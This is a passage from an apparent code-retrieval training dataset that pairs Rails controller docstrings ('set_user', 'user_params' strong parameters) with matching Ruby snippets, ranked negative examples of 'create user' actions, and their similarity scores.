"def create\n user = User.new(user_params)\n if user.save\n render json: {status: \"Se creo el usuario\"}, status: :ok\n else\n render json: {status: \"Error al crear el usuario\", errors: user.errors }, status: :unprocessable_entity\n end\n end",
"def create\n user = User.new(params[:user].permit(:username))\n if user.save\n render json: user\n else\n render json: user.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def create\n puts '>>> params:'\n puts params.inspect\n @user = User.new(params[:user])\n puts '>>> User:'\n puts @user.inspect\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n \tdata = { data: @user, status: :created, message: \"User was successfully created.\" }\n render :json => data\n else\n \tdata = { data: @user.errors, status: :unprocessable_entity }\n render :json => data\n end\n end",
"def create\n user_details = params.permit(:first_name, :last_name, :email)\n success = User.create(user_details)\n\n render json: { success: success }\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user.as_json(only: [:email, :authentication_token]), status: :created\n else\n head(:unprocessable_entity)\n end\n end",
"def create_user\n params = {\n :client_id => Swiftype.platform_client_id,\n :client_secret => Swiftype.platform_client_secret\n }\n post(\"users.json\", params)\n end",
"def create\n @user = User.new(params[:user])\n\n if @user.save\n respond_to do |format|\n format.json { render :json => @user.to_json, :status => 200 }\n format.xml { head :ok }\n format.html { redirect_to :action => :index }\n end\n else\n respond_to do |format|\n format.json { render :text => \"Could not create user\", :status => :unprocessable_entity } # placeholder\n format.xml { head :ok }\n format.html { render :action => :new, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(user_params)\n if @user.save\n render :ok, json: @user.to_json\n else\n @errors = @user.errors.full_messages\n render json: { message: @errors }, status: :unauthorized\n end\n end",
"def create\n puts params\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render json: @user.as_json(user: current_user), status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n user = User.new(user_params)\n if user.save\n render json: {status: 200, msg: 'User was created.'}\n else\n render json: {errors: user.errors.messages}\n end\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to users_url, :notice => 'User was successfully created.' }\n format.json { render :json => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new({name: params[:name], email: params[:email], password: params[:password], photo: params[:photo]})\n @user.save\n render json:@user\n end",
"def create\n user = User.create(user_params)\n\n if user.valid?\n render json: {user: UserSerializer.new(user), token: encode_token(user.id)}\n else\n render json: user.errors.full_messages\n end\n end",
"def create\n\t\tnew_user = User.new(user_params)\n\t\tif new_user.save\n\t\t render status: 200, json: {\n\t\t \tstatus: 200,\n\t\t message:\"New User Created\",\n\t\t response: {\n\t\t name: new_user.name,\n\t\t email: new_user.email,\n\t\t id: new_user.id,\n\t\t facebook_id: new_user.facebook_id,\n\t\t device_id: new_user.device_id,\n\t\t authentication_token: new_user.authentication_token\n\t\t }\n\t\t \n\t\t }.to_json\n\t\telse\n\t\t render status: 404, json: {\n\t\t \tstatus: 404,\n\t\t errors: new_user.errors\n\t\t }.to_json\n\t\tend\n\tend",
"def create\n\t\tresp = {} \n user = User.create(user_params)\n \tif user.valid?\n if user.save\n return render :json => user.as_json\n end\n end\n render json: user.errors.full_messages \n\tend",
"def post_users_with_http_info(users, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: UsersApi.post_users ...'\n end\n # verify the required parameter 'users' is set\n if @api_client.config.client_side_validation && users.nil?\n fail ArgumentError, \"Missing the required parameter 'users' when calling UsersApi.post_users\"\n end\n # resource path\n local_var_path = '/users'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(users) \n\n # return_type\n return_type = opts[:return_type] || 'User' \n\n # auth_names\n auth_names = opts[:auth_names] || ['Bearer']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: UsersApi#post_users\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def create_user(options = {})\n post \"/users\", options\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to users_url, notice: 'User was successfully created.' }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to users_url, notice: 'User was successfully created.' }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n \n user = User.new(user_params)\n\n if user.save\n\n render json: {status: 200, msg: 'User was created.'}\n\n else \n render json: {\n errors: user.errors.full_messages\n }, status: :unprocessable_entity\n\n end\n\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save \n format.html { redirect_to users_url, notice: \"User #{@user.name} was successfully created.\" }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_user(body)\n post 'create_user', body\n end",
"def create\n @user = User.new(user_params)\n @user.email = params[:email].downcase\n if @user.save\n render json: @user, status: 200\n else\n render json: { errors: @user.errors.full_messages }, status: 400\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json:@user\n elsif @user.errors\n render json: {error: {code: 400, server_message: @user.errors}}, status: :bad_request\n else\n render json: {error: {code: 500, message: \"Could not save user\", server_message: @user.errors}}, status: :internal_server_error\n end\n\n end",
"def create\n user = User.new(user_params)\n\n if user.valid?\n user.save\n render json: {user: user, token: encode_token({user_id: user.id})}\n else\n render json: {error: \"Failed to create the user\"}\n end\n end",
"def create\n @user = User.new(user_params)\n @user.save\n respond_with @user\n end",
"def create\n @user = User.new(user_params)\n render json: @user && return if @user.save\n\n render json: { error: \"Unable to save user: #{@user.errors.messages}\" }, status: 400\n end",
"def create\n params[:user][\"_id\"] = params[:user][:name]\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save()\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_user(attributes)\n post(\"/v1/users\", attributes)\n end",
"def create\n user = User.new(user_params)\n\n # if user is saved sucessfully it will return user and ith status 201 for created\n if user.save\n render json:user,status: :created\n #if request is properly served but data is wrong it ll give ubprocessable_entity with code 422\n else\n render json: user.errors, status: :unprocessable_entity\n end \n end",
"def create\r\n @user = User.new(params[:user])\r\n\r\n respond_to do |format|\r\n if @user.save\r\n format.html { redirect_to users_path, notice: 'Os dados do usuário foram salvos com sucesso!' }\r\n format.json { render json: @user, status: :created, location: @user }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @user.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create\n @user = User.new(\n first_name: params[:first_name],\n last_name: params[:last_name],\n birth_date: params[:birth_date],\n height: params[:height],\n weight: params[:weight],\n user_name: params[:user_name],\n password: params[:password],\n password_confirmation: params[:password_confirmation],\n facebook_url: params[:facebook_url],\n twitter_url: params[:twitter_url],\n instagram_url: params[:instagram_url],\n address: params[:address],\n email: params[:email]\n ) \n if @user.save!\n render 'successful.json.jb', status: :created\n else\n render 'unsuccessful.json.jb', status: :bad_request\n end\n end",
"def post(hash)\n HttpClient::Preconditions.assert_class('hash', hash, Hash)\n @client.request(\"/users\").with_json(hash.to_json).post { |hash| Apidoc::Models::User.new(hash) }\n end",
"def create\n user = User.create!(user_params)\n session[:user_id] = user.id\n render json: user, status: :created\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: {message: \"user create successfuly\"}\n else\n render json: {message: \"Error\"}\n end \n end",
"def create\n # Insert new user in database\n user = User.new(user_params)\n\n if user.save\n # On success, send token information to authenticate user\n token = create_token(user.id, user.username)\n render json: {status: 200, token: token, user: user}\n # render json: @user, status: :created, location: @user\n else\n render json: user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(params[:user])\n @user.status = 'active'\n\n respond_to do |format|\n if @user.save\n format.json { render :json => @user, :status => :created }\n format.html { redirect_to(users_path) }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n respond_with(@user, location: users_url, notice: 'User was successfully created.')\n else\n respond_with(@user)\n end\n end",
"def create\n user = User.new(user_params)\n \n if user.save\n token = JsonWebToken.encode(user_id: user.id)\n render json: { auth_token: token, user: AuthUserSerializer.new(user).serializable_hash }, status: 201\n else \n render json: { errors: user.errors.full_messages }, status: 400\n end\n end",
"def create\n @user = User.new(params[:user])\n puts params[:user]\n respond_to do |format|\n if @user.save\n format.html { redirect_to :users, notice: 'Registration successful.' }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render :show, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render :show, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n user = User.create(user_params)\n if user.valid?\n user.username.downcase\n @token = issue_token(user)\n list = List.create(name: user.username)\n list.user_id = user.id\n user.save\n list.save\n render json: { user: UserSerializer.new(user), jwt: @token }, status: :created \n else \n render json: { error: user.errors.full_messages }, status: :not_acceptable\n end \n end",
"def create\n @user = User.new(user_params)\n respond_to do |format|\n if @user.save\n format.html { redirect_to users_path, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(user_params)\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to users_path, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n user_response = API::V1::Users.authenticate params.as_json\n if user_response.success?\n json = HashWithIndifferentAccess.new(user_response.parsed_response)\n auth_response = API::V1::Auth.issue json[:data]\n respond_with auth_response.body, auth_response.code\n else\n respond_with nil, :unauthorized\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render :json => { :status => 0 }\n else\n render :json => { :status => 1, :msg => @user.errors}\n end\n end",
"def create\n @user = User.new(user_params)\n if @user.save\n auth_token = Knock::AuthToken.new payload: { sub: @user.id }\n render json: { username: @user.username, jwt: auth_token.token }, status: :created\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n authorize :user, :create?\n @user = User.new(user_params)\n @user.save\n\n respond_to do |format|\n format.html\n format.json { render :json => @user, status: 200 }\n end\n end",
"def post_accounts(json_hash)\n @options = {:path => '/users.json',\n :body => json_hash[:json]}.merge(@options)\n\n request(\n :expects => 201,\n :method => :post,\n :body => @options[:body]\n )\n end",
"def create\n user = User.new(username: params[:username])\n if user.save\n payload = {'user_id': user.id}\n token = JWT.encode(payload, 'chatapp')\n render json: {\n user: user,\n token: token\n }\n else \n render json: { message: 'There was an error creating your account' }\n end\n end",
"def create\n user = User.create!(user_params)\n if user\n session[:user_id] = user.id\n render json: user, status: :created\n else\n render json: { errors: user.errors.full_messages }, status: :unprocessable_entity\n end\n end",
"def create\r\n @user = User.new user_params\r\n\r\n if @user.save\r\n render json: @user, serializer: SessionSerializer, root: nil\r\n else\r\n render json: { errors: @user.errors }, status: :unprocessable_entity\r\n end\r\n end",
"def create\n user = User.new(user_params)\n if user.save\n render json: { status: 'OK', msg: 'User was created.', error: 'nil' },\n status: :created\n else\n not_good(422)\n end\n end"
] | [
"0.77179813",
"0.75206673",
"0.73831296",
"0.72405374",
"0.719841",
"0.7140812",
"0.71038526",
"0.7058827",
"0.7041636",
"0.70236504",
"0.7003128",
"0.70021695",
"0.70021695",
"0.70021695",
"0.69936967",
"0.6990463",
"0.6980393",
"0.6979075",
"0.69788617",
"0.69788617",
"0.69762856",
"0.6962628",
"0.6952247",
"0.69454783",
"0.69454783",
"0.6920555",
"0.69181055",
"0.691467",
"0.6901315",
"0.6898759",
"0.689459",
"0.6889815",
"0.6880676",
"0.6880467",
"0.6880196",
"0.68797004",
"0.6877297",
"0.686924",
"0.6855058",
"0.6851115",
"0.6844058",
"0.6814104",
"0.6803589",
"0.6777842",
"0.6776859",
"0.67678535",
"0.6757897",
"0.67471397",
"0.6738628",
"0.6734963",
"0.6733872",
"0.6720612",
"0.6711659",
"0.6670256",
"0.66581875",
"0.66573423",
"0.6654514",
"0.6638977",
"0.66325235",
"0.66199607",
"0.6615226",
"0.66148156",
"0.65989614",
"0.65910506",
"0.65792614",
"0.6578957",
"0.6573529",
"0.6573351",
"0.6557221",
"0.6553408",
"0.6551572",
"0.65466446",
"0.6540912",
"0.65399504",
"0.6538697",
"0.6535891",
"0.6533581",
"0.6526114",
"0.65116656",
"0.65072525",
"0.6507116",
"0.6503024",
"0.6490388",
"0.6488653",
"0.64881754",
"0.6473845",
"0.64722794",
"0.64702916",
"0.64702916",
"0.6469406",
"0.64682525",
"0.6462379",
"0.64619774",
"0.646129",
"0.6455196",
"0.645272",
"0.6448271",
"0.6447503",
"0.64468706",
"0.64460355",
"0.6441883"
] | 0.0 | -1 |
Use callbacks to share common setup or constraints between actions. | def set_user
@user = User.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] | [
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] | 0.0 | -1 |
Only allow a list of trusted parameters through. | def user_params
params.require(:user).permit(:user_name)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def allowed_params\n ALLOWED_PARAMS\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end",
"def param_whitelist\n [:role, :title]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def allow_params_authentication!; end",
"def whitelisted_args\n args.select &:allowed\n end",
"def safe_list_sanitizer; end",
"def safe_list_sanitizer; end",
"def safe_list_sanitizer; end",
"def filtered_parameters; end",
"def sanitize_params_for user, params, allowed_params\n params.each do |key, val|\n #if allowed_params.include?(key)\n #sanitize!(user, params, key) if key =~ /_attributes|_ids$/\n #else\n #params.delete(key)\n #end\n params.delete(key) unless allowed_params.include?(key.to_sym)\n end\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def expected_permitted_parameter_names; end",
"def sanitize_parameters!(sanitizer, params)\n # replace :readwrite with :onlyif\n if params.has_key?(:readwrite)\n warn \":readwrite is deprecated. Replacing with :onlyif\"\n params[:onlyif] = params.delete(:readwrite)\n end\n\n # add default parameters\n bindata_default_parameters.each do |k,v|\n params[k] = v unless params.has_key?(k)\n end\n\n # ensure mandatory parameters exist\n bindata_mandatory_parameters.each do |prm|\n if not params.has_key?(prm)\n raise ArgumentError, \"parameter ':#{prm}' must be specified \" +\n \"in #{self}\"\n end\n end\n\n # ensure mutual exclusion\n bindata_mutually_exclusive_parameters.each do |param1, param2|\n if params.has_key?(param1) and params.has_key?(param2)\n raise ArgumentError, \"params #{param1} and #{param2} \" +\n \"are mutually exclusive\"\n end\n end\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def check_params; true; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def allowed?(*_)\n true\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def secure_params\n return @secure_params if @secure_params\n\n defn = implementation_class.definition\n field_list = [:master_id] + defn.field_list_array\n\n res = params.require(controller_name.singularize.to_sym).permit(field_list)\n res[implementation_class.external_id_attribute.to_sym] = nil if implementation_class.allow_to_generate_ids?\n @secure_params = res\n end",
